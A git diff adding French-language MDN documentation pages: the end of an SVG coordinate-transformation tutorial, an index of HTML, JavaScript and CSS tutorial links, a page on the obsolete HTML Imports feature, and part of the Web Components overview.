+<h2 id="Transformations_complexes_avec_matrice">Transformations complexes avec matrice</h2>
+
+<p>Toutes les transformations détaillées ci-dessous peuvent être décrites dans une matrice de passage 3 par 3. Il est alors possible de combiner plusieurs transformations en appliquant directement la matrice de transformation <code>matrix(a, b, c, d, e, f)</code> qui mappe les coordonnées d'un système de coordonnées précédent en un nouveau système de coordonnées par</p>
+
+<p><math display="block"><semantics><mrow><mo>{</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr></mtable></mrow><annotation encoding="TeX">\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. </annotation></semantics></math></p>
+
+<p>Voici un <a href="/en-US/docs/Web/SVG/Attribute/transform#General_Transformation">exemple concret sur la documentation de transformation SVG</a>. Pour plus de renseignements, veuillez vous référer à <a class="external" href="http://www.w3.org/TR/SVG/coords.html#TransformMatrixDefined" title="http://www.w3.org/TR/SVG/coords.html#TransformMatrixDefined">la page de recommandation SVG</a>.</p>
+
+<h2 class="editable" id="Effets_sur_les_systèmes_de_coordonnées"><span>Effets sur les systèmes de coordonnées</span></h2>
+
+<p>Quand vous utilisez une transformation, vous définissez un nouveau système de coordonnées dans l'élément que vous transformez. Cela signifie que vous appliquez la transformation à tous les attributs de l'élément transformé et donc que cet élément n'est plus dans une carte de pixel d'échelle 1:1. Cette carte est également déplacée, déformée, agrandie ou réduite selon la transformation qui lui est appliquée.</p>
+
+<pre class="brush: html">&lt;svg width="100" height="100"&gt;
+  &lt;g transform="scale(2)"&gt;
+    &lt;rect width="50" height="50" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Cet exemple aura pour résultat un rectangle de 100 par 100 pixels.<span id="result_box" lang="fr"><span class="hps"> Les</span> <span class="hps">effets</span> <span class="hps">les plus étonnants</span> <span class="hps">apparaissent</span> <span class="hps">lorsque vous utilisez</span> <span class="hps">des attributs tels que</span> <code><span class="hps">userSpaceOnUse</span></code><span>.</span></span></p>
+
+<p>{{ EmbedLiveSample('Effets_sur_les_systèmes_de_coordonnées', '100', '100') }}</p>
+
+<h2 id="Embarquer_du_SVG_dans_SVG"><span lang="fr"><span>Embarquer du SVG dans SVG</span></span></h2>
+
+<p>Par opposition au HTML, le SVG peut embarquer d'autres éléments <code>svg</code> déclarés de manière tout à fait transparente. <span id="result_box" lang="fr"><span class="hps">De cette façon,</span> <span class="hps">vous pouvez</span><span class="hps"> très simplement</span><span class="hps"> créer</span> <span class="hps">de nouveaux</span> <span class="hps">systèmes de coordonnées</span> <span class="hps">en utilisant</span> <code><span class="hps">viewBox</span></code><span>, <code>width</code></span> <span class="hps">et <code>height</code></span> <span class="hps">de l'élément</span> <code>svg</code><span>.</span></span></p>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;svg width="100" height="100" viewBox="0 0 50 50"&gt;
+    &lt;rect width="50" height="50" /&gt;
+  &lt;/svg&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Cet exemple a le même effet que celui vu précédemment, soit un rectangle deux fois plus grand que ce qu'il est défini.</p>
+
+<p>{{ EmbedLiveSample('Embarquer_du_SVG_dans_SVG', '100', '100') }}</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Texts", "Web/SVG/Tutoriel/Découpages_et_masquages") }}</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
diff --git a/files/fr/web/tutoriels/index.html b/files/fr/web/tutoriels/index.html
new file mode 100644
index 0000000000..b9983910db
--- /dev/null
+++ b/files/fr/web/tutoriels/index.html
@@ -0,0 +1,187 @@
+---
+title: Tutoriels
+slug: Web/Tutoriels
+tags:
+  - CSS
+  - Code
+  - Design
+  - Débutant
+  - Fondamentaux du Web
+  - JavaScript
+  - MDN
+  - Tutoriel
+translation_of: Web/Tutorials
+---
+<p><font><font>Les liens présents sur cette page mènent à un grand nombre de tutoriels et d'outils pédagagiques. </font><font>Que vous soyez débutant ou expérimenté, vous pourrez trouver ici de précieuses ressources sur les meilleurs pratiques du développement web. Ces ressources sont écrites par des entreprises visionnaires </font><font>et des développeurs qui ont adoptés des normes ouvertes et de bonnes pratiques en développement web qui fournissent ou autorisent la traduction de ces informations, au travers de licences libres tel que celle de Creative Commons. </font></font></p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation"><font><font>Tutoriels HTML</font></font></h2>
+
+    <h3 id="Introduction"><font><font>Introduction</font></font></h3>
+
+    <dl>
+     <dt><a href="https://webplatform.github.io/docs/guides/the_basics_of_html/" lang="en">Introdution à HTML</a> <font><font>(WebPlatform.org)</font></font></dt>
+     <dd>Qu'est-ce que le HTML ? Origine, utilité et structure d’un document HTML. Cet article présente les principaux éléments qui composent une page HTML. Les suivants présentent les éléments individuels qui composent HTML plus en profondeur.</dd>
+     <dt><a href="http://reference.sitepoint.com/html/page-structure" lang="en" rel="external"><font><font>Structure de base d'une page web</font></font></a><font><font> (SitePoint)</font></font></dt>
+     <dd><font><font>Apprendre comment les éléments HTML s'assemblent pour former une page web.</font></font></dd>
+     <dt><a href="http://reference.sitepoint.com/html/elements" lang="en" rel="external"><font><font>Balises HTML de base</font></font></a><font><font> (SitePoint)</font></font></dt>
+     <dd><font><font>Description des différents types d'éléments utilisés pour les documents HTML.</font></font></dd>
+     <dt><a href="http://htmldog.com/guides/htmlbeginner/" lang="en" rel="external"><font><font>Guide HTML pour débutant</font></font></a><font><font> (HTML Dog)</font></font></dt>
+     <dd><font><font>Articles et exercices pour apprendre les bases.</font></font></dd>
+     <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" lang="en" rel="external"><font><font>Challenges HTML</font></font></a><font><font> (Wikiversity)</font></font></dt>
+     <dd><font><font>Améliorer ses compétences avec des challenges HTML.</font></font></dd>
+     <dt><a href="/fr/docs/Web/HTML/Element"><font><font>Référence des balises HTML sur le MDN</font></font></a></dt>
+     <dd><font><font>Référence complète des balises HTML et leur support par Firefox et les autres navigateurs.</font></font></dd>
+     <dt><a href="http://codeavengers.com/" hreflang="en" lang="en" title="http://codeavengers.com/"><font><font>CodeAvengers</font></font></a><font><font> (CodeAvengers.com)</font></font></dt>
+     <dd><font><font>Une introduction au développement d'application ou de jeux web avec HTML, CSS et JavaScript.</font></font></dd>
+    </dl>
+
+    <h3 id="Niveau_intermediaire">Niveau intermediaire</h3>
+
+    <dl>
+     <dt><a href="/fr/docs/Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide"><font><font>Astuces pour accélerer les pages HTML</font></font></a></dt>
+     <dd><font><font>Optimiser les pages pour un site plus réactif et réduire la charge du serveur web.</font></font></dd>
+     <dt><a href="http://diveintohtml5.info/" lang="en" rel="external"><font><font>Plonger dans HTML5</font></font></a><font><font> (Mark Pilgrim)</font></font></dt>
+     <dd><font><font>Découverte des fonctionnalités d'HTML5, la dernière version de la spécification HTML.</font></font></dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/" lang="en" rel="external"><font><font>Tutoriel HTML5</font></font></a><font><font> (HTML5 Rocks)</font></font></dt>
+     <dd><font><font>Laissez-nous vous guider dans le labyrinthe HTML5.</font></font></dd>
+     <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" lang="en" rel="external"><font><font>La sémantique HTML5</font></font></a></dt>
+     <dd><font><font>Apprendre les balises HTML, leur usage actuels et leur équivalent passé et à venir.</font></font></dd>
+     <dt><a href="/fr/docs/Tutoriel_canvas"><font><font>Tutoriel sur les Canvas</font></font></a></dt>
+     <dd><font><font>Apprendre à dessiner des éléments en utilisant les canvas.</font></font></dd>
+     <dt><a href="http://html5doctor.com/" lang="en" rel="external"><font><font>HTML5 Doctor</font></font></a></dt>
+     <dd><font><font>Utiliser HTML5 maintenant.</font></font></dd>
+     <dt><a href="http://www.elated.com/articles/html5-audio/" lang="en" rel="external"><font><font>Intégration audio avec HTML5</font></font></a></dt>
+     <dd><font><font>Introduction de la balise HTML5 audio pour inclure facilement du son sur votre page web. </font><font>L'article comprend plusieurs exemples d'utilisation.</font></font></dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation"><font><font>Tutoriels Javascript</font></font></h2>
+
+    <h3 id="Introduction_2"><font><font>Introduction</font></font></h3>
+
+    <dl>
+     <dt><a href="http://www.codecademy.com/?locale_code=fr"><font><font>Codecademy</font></font></a><font><font> (Codecademy)</font></font></dt>
+     <dd><font><font>Codecademy est le moyen le plus simple pour apprendre le développement avec JavaScript. </font><font>Interactif, amusant et collaboratif.</font></font></dd>
+     <dt><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript"><font><font>Démarrer avec JavaScript</font></font></a></dt>
+     <dd><font><font>Présentation de Javascript et de son utilisation</font></font></dd>
+     <dt><a href="http://docs.webplatform.org/wiki/concepts/programming/programming_basics" rel="external"><font><font>Programming - The real fundamental</font></font></a><font><font> (WebPlatform.org)</font></font></dt>
+     <dd><font><font>Introduction à JavaScript, ses possibilités, les bonnes pratiques, pour l'apprecier, et davantage.</font></font></dd>
+     <dt><a href="http://dev.opera.com/articles/view/javascript-best-practices/" rel="external"><font><font>JavaScript Best Practices</font></font></a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a><font><font> (WebPlatform.org)</font></font></dt>
+     <dd><font><font>Consultez les bonnes pratiques les plus courantes, mais pas seulement, pour écrire du JavaScript.</font></font></dd>
+     <dt><a href="http://codeavengers.com/" lang="en" title="http://codeavengers.com/"><font><font>CodeAvengers</font></font></a><font><font> (CodeAvengers.com)</font></font></dt>
+     <dd><font><font>Avengers Code est une introduction amusante au développement d'applications web et aux jeux avec HTML, CSS et JavaScript.</font></font></dd>
+    </dl>
+
+    <h3 id="Niveau_intermediaire_2"><font><font>Niveau intermediaire</font></font></h3>
+
+    <dl>
+     <dt><a href="/fr/docs/Web/JavaScript/Une_réintroduction_à_JavaScript"><font><font>Ré-introduction au JavaScript</font></font></a></dt>
+     <dd><font><font>Résumé de JavaScript destiné aux développeurs intermédiaires.</font></font></dd>
+     <dt><a href="http://eloquentjavascript.net/" rel="external"><font><font>Eloquent JavaScript</font></font></a></dt>
+     <dd><font><font>Guide JavaScript complet comprenant des pratiques de niveau intermédiaire et avancé.</font></font></dd>
+     <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external"><font><font>Les Design Patterns essentiels en Javascript</font></font></a><font><font> (Addy Osmani)</font></font></dt>
+     <dd><font><font>Les <em>design patterns</em> de base pour JavaScript.</font></font></dd>
+     <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external"><font><font>The JavaScript programming language</font></font></a><font><font> (YUI Blog)</font></font></dt>
+     <dd><font><font>Douglas Crockford étudie la position actuelle de JavaScript et son avenir.</font></font></dd>
+     <dt><a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet"><font><font>Introduction à JavaScript orienté objet</font></font></a></dt>
+     <dd><font><font>Apprendre la modélisation objet dans Javascript.</font></font></dd>
+    </dl>
+
+    <h3 id="Niveau_avancé"><font><font>Niveau avancé</font></font></h3>
+
+    <dl>
+     <dt><a href="http://ejohn.org/apps/learn/" rel="external"><font><font>Apprendre le JavaScript avancé</font></font></a><font><font> (John Resig)</font></font></dt>
+     <dd><font><font>Guide JavaScript par John Resig.</font></font></dd>
+     <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external"><font><font>Introduction au JavaScript DOM</font></font></a><font><font> (Elated)</font></font></dt>
+     <dd><font><font>Qu'est-ce que le <em>Document Object Model</em>, et pourquoi il est utile? </font><font>Cette article vous donnera un petit aperçu de la puissance de cette fonctionnalité de JavaScript.</font></font></dd>
+     <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external"><font><font>An Inconvenient API: The Theory of the DOM</font></font></a><font><font> (YUI Blog)</font></font></dt>
+     <dd><font><font>Douglas Crockford explique le "Document Object Model" (DOM).</font></font></dd>
+     <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external"><font><font>JavaScript avancé</font></font></a><font><font> (YUI Blog)</font></font></dt>
+     <dd><font><font>Douglas Crockford étudie les modèles que les développeurs peuvent choisir pour la création de leur application.</font></font></dd>
+     <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external"><font><font>JavaScript Garden</font></font></a></dt>
+     <dd><font><font>Documentation des fonctionnalités étranges de Javascript.</font></font></dd>
+     <dt><a href="http://stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external"><font><font>Which JavaScript framework to choose?</font></font></a><font><font> (StackOverflow)</font></font></dt>
+     <dd><font><font>Conseil pour le choix d'un framework Javascript.</font></font></dd>
+     <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external"><font><font>Non-blocking JavaScript Downloads</font></font></a><font><font> (YUI Blog)</font></font></dt>
+     <dd><font><font>Conseil pour accèlerer le chargement des pages avec JavaScript.</font></font></dd>
+     <dt><a href="/fr/docs/Web/JavaScript/Guide"><font><font>JavaScript Guide</font></font></a></dt>
+     <dd><font><font>Un guide régulièrement mis à jour qui explique dans le détail les opérations de JavaScript. Il est destiné à tous les niveaux, du néophyte aux utilisateurs plus avancés.</font></font></dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <h2 class="Documentation" id="Documentation" name="Documentation"><font><font>Tutoriels CSS</font></font></h2>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="Introduction_3"><font><font>Introduction</font></font></h3>
+
+    <dl>
+     <dt><a href="/fr/Apprendre/CSS"><font><font>Démarrer avec CSS</font></font></a></dt>
+     <dd><font><font>This tutorial will introduce you to Cascading Style Sheets (CSS). </font><font>It will guide you through the CSS features, using concrete examples that you can try for yourself on your own computer.</font></font></dd>
+     <dt><a href="https://developer.mozilla.org/fr/Apprendre/CSS" rel="external"><font><font>Les bases de CSS</font></font></a></dt>
+     <dd><font><font>What is the CSS, learning from its use, key selectors and properties</font></font></dd>
+     <dt><a href="http://docs.webplatform.org/wiki/guides/getting_started_with_css" rel="external"><font><font>CSS Basics</font></font></a><font><font> (WebPlatform.org)</font></font></dt>
+     <dd><font><font>What is the CSS, how to apply it in HTML and looks like the basic syntax of CSS.</font></font></dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external"><font><font>Selectors CSS classes</font></font></a><font><font>  (Wikiversity)</font></font></dt>
+     <dd><font><font>What is a class in CSS?</font></font></dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external"><font><font>External CSS</font></font></a><font><font>  (Wikiversity)</font></font></dt>
+     <dd><font><font>Use CSS to an external stylesheet.</font></font></dd>
+     <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external"><font><font>Add a touch of style</font></font></a><font><font>  (W3C)</font></font></dt>
+     <dd><font><font>Realizing this beginner's guide to learn how to put CSS in your pages.</font></font></dd>
+     <dt><a href="/fr/docs/CSS/CSS_questions_frequentes"><font><font>Frequently asked questions about CSS</font></font></a></dt>
+     <dd><font><font>Questions and answers for beginners.</font></font></dd>
+     <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/"><font><font>CodeAvengers</font></font></a><font><font> (CodeAvengers.com)</font></font></dt>
+     <dd><font><font>Avengers Code is an effective and fun way to learn to code web applications and games with HTML, CSS and JavaScript.</font></font></dd>
+    </dl>
+
+    <h3 id="Niveau_intermediaire_3">Niveau intermediaire</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/fr/docs/Web/CSS/Reference" lang="fr"><font><font>CSS Reference</font></font></a></dt>
+     <dd><font><font>Complete CSS reference with support details of Firefox and other browsers.</font></font></dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" lang="en" rel="external"><font><font>CSS Challenges</font></font></a><font><font> (Wikiversity)</font></font></dt>
+     <dd><font><font>Practice your skills in CSS, and see where you need the most practice.</font></font></dd>
+     <dt><a href="http://www.html.net/tutorials/css/" lang="fr" rel="external"><font><font>Intermediate concepts in CSS</font></font></a><font><font>  (HTML.net)</font></font></dt>
+     <dd><font><font>Group, pseudo-classes, and more.</font></font></dd>
+     <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" lang="fr" rel="external"><font><font>CSS positioning bases</font></font></a><font><font>  (A List Apart)</font></font></dt>
+     <dd><font><font>Using positioning to meet the standards, the layout without tables.</font></font></dd>
+     <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" lang="en" rel="external"><font><font>Progressive Enhancement with CSS</font></font></a><font><font> (A List Apart)</font></font></dt>
+     <dd><font><font>The gradual improvement of your web pages with CSS.</font></font></dd>
+     <dt><a href="http://www.alistapart.com/articles/fluidgrids/" lang="en" rel="external"><font><font>Fluid Grids</font></font></a><font><font> (A List Apart)</font></font></dt>
+     <dd><font><font>Creating models that smoothly resize with of the browser window while using a typographic grid.</font></font></dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Niveau_avancé_2"><font><font>Niveau avancé</font></font></h3>
+
+    <dl>
+     <dt><a href="http://addyosmani.com/blog/css3-screencast/" rel="external"><font><font>CSS3 in less than 5 minutes</font></font></a><font><font> (Addy Osmani)</font></font></dt>
+     <dd><font><font>Une courte introduction du coeur des innovations apportées par CSS3.</font></font></dd>
+     <dt><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS"><font><font>Use of CSS transformations</font></font></a></dt>
+     <dd>
+     <div class="g-unit" id="gt-src-c">
+     <div id="gt-src-p">
+     <div id="gt-src-wrap">
+     <div style="width: 100%;"><span class="short_text" id="result_box" lang="fr" style="font-size: 14px; line-height: 1.5;"><span class="hps"><font><font>Appliquer la rotation, le détournement, la mesure et la translation</font></font></span></span><font><font> d'élement avec </font></font><span class="hps" style="font-size: 14px; line-height: 1.5;"><font><font>CSS </font></font></span><span style="font-size: 14px; line-height: 1.5;"><font><font>.</font></font></span></div>
+     </div>
+     </div>
+     </div>
+     </dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions"><font><font>CSS transitions</font></font></a></dt>
+     <dd><font><font>CSS3 inclue dans sa spécification de contrôler l'animation lors du changement d'une propriété CSS. </font><font>Ceci ajuste progressivement la transition visuelle de la proprieté liée.</font></font></dd>
+     <dt><a href="http://www.alistapart.com/articles/understanding-css3-transitions/" rel="external"><font><font>Understanding CSS3 transitions</font></font></a><font><font> (A List Apart)</font></font></dt>
+     <dd><font><font>Débutez avec les transitions CSS et apprenez à choisir attentivement dans quelle situation les utiliser.</font></font></dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external"><font><font>Quick guide to implement Web Fonts with @ font-face</font></font></a><font><font> (HTML5 Rocks)</font></font></dt>
+     <dd><font><font>La fonction @font-face de CSS3 proposée parmi les modules vous permet l'utilisation de polices de caractère personnelles sur le web, de manière flexible et accessible</font><font>.</font></font></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/web_components/html_imports/index.html b/files/fr/web/web_components/html_imports/index.html
new file mode 100644
index 0000000000..7f73f8303d
--- /dev/null
+++ b/files/fr/web/web_components/html_imports/index.html
@@ -0,0 +1,50 @@
+---
+title: HTML Imports
+slug: Web/Web_Components/HTML_Imports
+tags:
+  - Composants Web
+translation_of: Web/Web_Components/HTML_Imports
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<div class="blockIndicator obsolete">
+<p><strong>Obsolète depuis Google Chrome 73</strong><br>
+ Cette fonctionnalité est obsolète. Bien qu'encore supportée par des navigateurs, son utilisation est découragée pour tout nouveau projet. Évitez de l'utiliser.</p>
+</div>
+
+<div class="warning">
+<p>Firefox ne va pas supporter <em>HTML Imports</em> dans sa forme actuelle. Voir cet article en anglais "<a href="https://hacks.mozilla.org/2015/06/the-state-of-web-components/">status update</a>" pour plus d'informations. Tant qu'aucun consensus sur le standard ou aucun mécanisme alternatif n'aura émergé, il est possible d'utiliser le polyfill <code><a href="https://github.com/webcomponents/webcomponentsjs">webcomponents.js</a></code> de Google.</p>
+</div>
+
+<p><em>HTML Imports</em> est censé être un moyen de livrer des <a href="/fr/docs/Web/Web_Components">Composants Web</a> dans une page, mais il est aussi possible d'utiliser HTML Imports seul.</p>
+
+<div>On importe un fichier HTML cible à l'aide de la balise <a href="/fr/docs/Web/HTML/Element/link"><code>&lt;link&gt;</code></a> dans un document HTML source de la manière suivante : </div>
+
+<div></div>
+
+<pre>&lt;link rel="import" href="myfile.html"&gt;</pre>
+
+<p><span style="line-height: 1.5;">La valeur d'attribut </span><code style="font-style: normal; line-height: 1.5;">import</code><span style="line-height: 1.5;"> de la balise </span><span style="line-height: 1.5;">link est nouveau</span><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Imports', "", "")}}</td>
+   <td>{{Spec2('HTML Imports')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.link.rel.import")}}</p>
diff --git a/files/fr/web/web_components/index.html b/files/fr/web/web_components/index.html
new file mode 100644
index 0000000000..bb4fba0dcb
--- /dev/null
+++ b/files/fr/web/web_components/index.html
@@ -0,0 +1,116 @@
+---
+title: Web Components
+slug: Web/Web_Components
+tags:
+  - Composants Web
+translation_of: Web/Web_Components
+---
+<p>{{DefaultAPISidebar("Web Components")}}{{ draft }}</p>
+
+<div class="summary">
+<p>Les Composants Web sont constitués de plusieurs technologies distinctes permettant de créer des composants d'interface graphique personnalisés et réutilisables, qui ont été créés en utilisant des technologies web libres. Ils font partie du navigateur, et donc ne nécessitent pas de bibliothèque externe comme jQuery ou Dojo. Un Composant Web existant peut être utilisé sans l'écriture de code, en ajoutant simplement une déclaration d'importation à une page HTML. Les Composants Web utilisent les nouvelles capacités standard de navigateur, ou celles en cours de développement.</p>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>En tant que développeurs, nous savons tous à quel point la réutilisation de code est une bonne chose. Malgré cela, historiquement, il a toujours été difficile de réutiliser les languages balisés. Prenez par exemple tous ces éléments complexes en HTML que vous avez créés et dû répéter dans vos applications avec le risque que votre code devienne incompréhensible.</p>
+
+<p>Les composants Web ont pour but de résoudre ce problème et consistent en 3 technologies qui peuvent être utilisées ensemble pour créer des éléments réutilisables, encapsulés, versatiles et sans risquer une collision avec d'autre morceaux de code.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components/Custom_Elements">Custom Elements: </a> pour créer et enregistrer de nouveaux éléments HTML et les faire reconnaître par le navigateur.</li>
+ <li><a href="/fr/docs/Web/HTML/Element/template">HTML Templates: </a> squelette pour créer des éléments HTML instanciables.</li>
+ <li><a href="/fr/docs/Web/Web_Components/Shadow_DOM">Shadow DOM: </a>permet d'encapsuler le JavaScript et le CSS des éléments.</li>
+</ul>
+
+<p>Au début de la spécification, il y avait aussi la technologie <a href="/fr/docs/Web/Web_Components/HTML_Imports">HTML Imports</a>. Celle-ci servait à packager ses composants (CSS, JavaScript, etc.) et permettre leur intégration dans d'autres pages. Elle a néanmoins été abandonnée au profit des imports javascript qui permettent la même chose en utilisant une syntaxe plus moderne.</p>
+</div>
+
+<p>La description ci-dessus fonctionne assez bien à l'heure actuelle, mais cela laisse de côté plusieurs choses pour lesquelles les Composants Web pourraient être utilisés. Avec un Composant Web, vous pouvez faire presque tout ce qui peut être fait en HTML, CSS et JavaScript, et celui-ci peut devenir un élément réutilisable facilement.</p>
+
+<p>Il y a parfois une certaine confusion concernant les Composants Web et Google Polymer. Polymer est un framework qui repose sur la technologie des Composants Web. Vous pouvez faire et utiliser des Composants Web sans Polymer.</p>
+
+<p>Généralement, l'approche basique pour la création d'un composant Web est la suivante:</p>
+
+<ol>
+ <li>Créer une classe dans laquelle est spécifié la fonctionnalité du composant Web en utilisant la syntaxe de classe ECMAScript 2015 (voir les <a href="https://wiki.developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Classes">Classes</a> pour de plus amples informations).</li>
+ <li>Enregistrer le nouvel élément personnalisé en utilisant la méthode {{domxref("CustomElementRegistry.define()")}}, avec en paramètre le nom de l'élément à définir, la classe ou la fonction dans laquelle la fonctionnalité est spécifiée, et <span id="p3">optionnellement</span>, de quel élément celui-ci hérite-t-il.</li>
+ <li>Si nécessaire, connecter un shadow DOM à l'élément personnalisé en utilisant la méthode {{domxref("Element.attachShadow()")}}. Ajouter les éléments-fils, les écouteurs d'événements, etc., au shadow DOM en utilisant les méthodes DOM usuelles.</li>
+ <li>Si nécessaire, définir un template HTML en utilisant {{htmlelement("template")}} et {{htmlelement("slot")}}. Toujours en utilisant les méthodes DOM usuelles pour cloner le template et le connecter au shadow DOM.</li>
+ <li>Utiliser l'élément personnalisé à l'endroit désiré sur la page, comme tous les autres éléments HTML.</li>
+</ol>
+
+<div class="note">
+<p>Les Composants Web ne sont pas encore pleinement mis en œuvre dans tous les navigateurs, et pour les utiliser dès maintenant dans la plupart des navigateurs (janvier 2015), vous devrez probablement utiliser des polyfills (ce sont des bibliothèques JavaScript destinées à émuler des fonctionnalités qui ne sont pas encore implémentées nativement dans les navigateurs). Les polyfills sont disponibles dans le <a href="http://www.polymer-project.org/">projet Google Polymer</a>. Pour savoir quels navigateurs implémentent les Composants Web, voir <a href="http://jonrimmer.github.io/are-we-componentized-yet/">Are We Componentized Yet?</a></p>
+</div>
+
+<ul>
+</ul>
+
+<p>Les spécifications des Composants Web définissent les éléments suivants :</p>
+
+<ul>
+ <li>De nouveaux éléments HTML : {{HTMLElement("template")}}, {{HTMLElement("content")}} et {{HTMLElement("shadow")}} ({{HTMLElement("element")}} et {{HTMLElement("decorator")}} ont été retirés).</li>
+ <li>Les interfaces d'API associées pour les nouveaux éléments: {{domxref("HTMLTemplateElement")}}, {{domxref("HTMLContentElement")}} et {{domxref("HTMLShadowElement")}}.</li>
+ <li>Des extensions à l'interface {{domxref("HTMLLinkElement")}} et l'élément {{HTMLElement("link")}}.</li>
+ <li>Une API pour enregistrer les custom elements, {{domxref("Document.registerElement()")}}, et des modifications de {{domxref("Document.createElement()")}} et {{domxref("Document.createElementNS()")}}.</li>
+ <li>De nouvelles fonctions liées au cycle de vie ("<em>lifecycle callbacks</em>") peuvent être ajoutées à un prototype sur lequel est basé un custom element.</li>
+ <li>Une nouvelle pseudo-classe CSS pour les éléments de style par defaut, {{cssxref(":unresolved")}}.</li>
+ <li>Le Shadow DOM : {{domxref("ShadowRoot")}} et {{domxref("Element.createShadowRoot()")}}, {{domxref("Element.getDestinationInsertionPoints()")}}, {{domxref("Element.shadowRoot")}}.</li>
+ <li>Une extension à l'interface {{domxref("Event")}}, {{domxref("Event.path")}}.</li>
+ <li>Une extension à l'interface {{domxref("Document")}}.</li>
+ <li>Pour le style des Composants Web:
+  <ul>
+   <li>de nouvelles pseudo-classes : {{cssxref(":host")}}, {{cssxref(":host()")}}, {{cssxref(":host-context()")}}.</li>
+   <li>de nouveaux pseudo-elements : {{cssxref("::shadow")}} et {{cssxref("::content")}}.</li>
+   <li>un nouveau combinateur, <code>/deep/</code>.</li>
+  </ul>
+ </li>
+</ul>
+
